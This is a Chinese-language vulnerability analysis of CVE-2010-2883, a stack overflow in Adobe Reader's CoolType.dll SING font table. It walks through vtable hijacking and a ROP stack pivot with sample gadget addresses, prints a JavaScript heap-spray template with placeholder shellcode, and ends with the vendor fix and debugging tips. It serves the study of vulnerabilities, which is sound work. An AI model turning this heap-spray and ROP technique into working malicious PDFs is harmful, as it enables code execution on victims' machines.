CVE-2010-2883 Adobe Reader CoolType.dll SING表溢出漏洞分析

漏洞概述

CVE-2010-2883是Adobe Reader和Acrobat中CoolType.dll库的一个栈缓冲区溢出漏洞，影响9.4.0及更早版本。该漏洞存在于处理PDF文件中SING(智能字形)表的解析过程中，由于使用不安全的strcat函数导致栈溢出，攻击者可以构造恶意PDF文件实现任意代码执行。

环境准备

• 漏洞软件：Adobe Reader 9.0
• 测试系统：Windows XP SP3
• 分析工具：
  • 吾爱破解版OllyDbg
  • 010 Editor（用于PDF文件分析）
  • PdfStreamDumper（提取PDF中的JavaScript）
  • IDA Pro（静态分析）

漏洞定位

漏洞位于CoolType.dll库中处理SING表的函数中，关键漏洞点是strcat函数的不安全使用：

strcat(dest, src);  // 无长度检查的字符串拼接

通过IDA分析CoolType.dll，搜索"SING"可以定位到漏洞函数。

漏洞利用分析

1. 漏洞触发机制

1. 构造恶意PDF文件，其中包含特制的SING表
2. SING表中的数据会触发strcat栈溢出
3. 溢出数据覆盖虚表指针，实现虚表劫持

2. ROP链构造

利用思路是通过栈溢出覆盖虚表指针，然后通过ROP链实现栈迁移和代码执行：

1. 虚表劫持：覆盖对象虚表指针，指向攻击者控制的数据
2. 栈迁移：通过ROP将栈迁移到堆喷射区域(0x0C0C0C0C)
3. 堆喷射：通过JavaScript分配大量内存，包含滑板指令和shellcode

关键ROP指令示例：

0808B1C0    FF10            call dword ptr ds:[eax]  ; 触发虚表调用
4A80CB38    81C5 94070000    add ebp,0x794          ; 栈迁移
4A80CB3E    C9              leave
4A80CB3F    C3              retn

3. 堆喷射技术

恶意PDF中包含JavaScript代码实现堆喷射：

var shellcode = unescape("%u4141%u4141..."); // ROP链和shellcode
var slide = unescape("%u0c0c%u0c0c");       // 滑板指令

// 填充滑板区域
while(slide.length < 0x10000) slide += slide;
var block = slide.substring(0, (0x0c0c-0x24)/2);

// 组合滑板和shellcode
block += shellcode;
block += slide;

// 扩展到0x80000大小
var bigblock = block.substring(0, 0x10000/2);
while(bigblock.length < 0x80000) bigblock += bigblock;

// 分配约200MB内存 (0x80000 * 0x1f0 = 0xf800000)
var spray = new Array();
for(var i=0; i<0x1f0; i++) {
    spray[i] = bigblock.substring(0, 0x80000 - (0x1020-0x08)/2) + "s";
}

4. Shellcode执行流程

1. 创建临时文件：通过ROP调用CreateFile
2. 内存映射：CreateFileMapping和MapViewOfFile
3. 复制代码：memcpy将shellcode复制到映射区域
4. 执行：跳转到shellcode执行

漏洞修复

Adobe官方修复方案：

1. 将strcat替换为strncat，增加长度检查
2. 使用动态分配内存代替栈缓冲区
3. 发布补丁更新CoolType.dll

分析技巧

1. 快速定位漏洞点：

   • 在PDF中搜索"SING"表
   • 在二进制文件中搜索危险函数(strcat, strcpy等)
   • 关注处理字体相关数据的函数

2. 动态分析技巧：

   • 在OllyDbg中对strcat下断点
   • 观察栈变化和溢出数据
   • 跟踪虚表调用过程

3. PDF结构分析：

   • 使用010 Editor配合PDF模板分析文件结构
   • 提取JavaScript代码分析堆喷射逻辑
   • 重点关注字体相关表和对象

总结

CVE-2010-2883是一个典型的栈溢出漏洞，结合了多种利用技术：

1. 通过不安全的字符串操作导致栈溢出
2. 利用虚表劫持控制程序流
3. 使用ROP链实现栈迁移
4. 通过堆喷射技术提高利用成功率

这个漏洞的分析过程涵盖了二进制漏洞分析的多个关键点，包括漏洞定位、利用分析、防护绕过等，是学习漏洞分析的经典案例。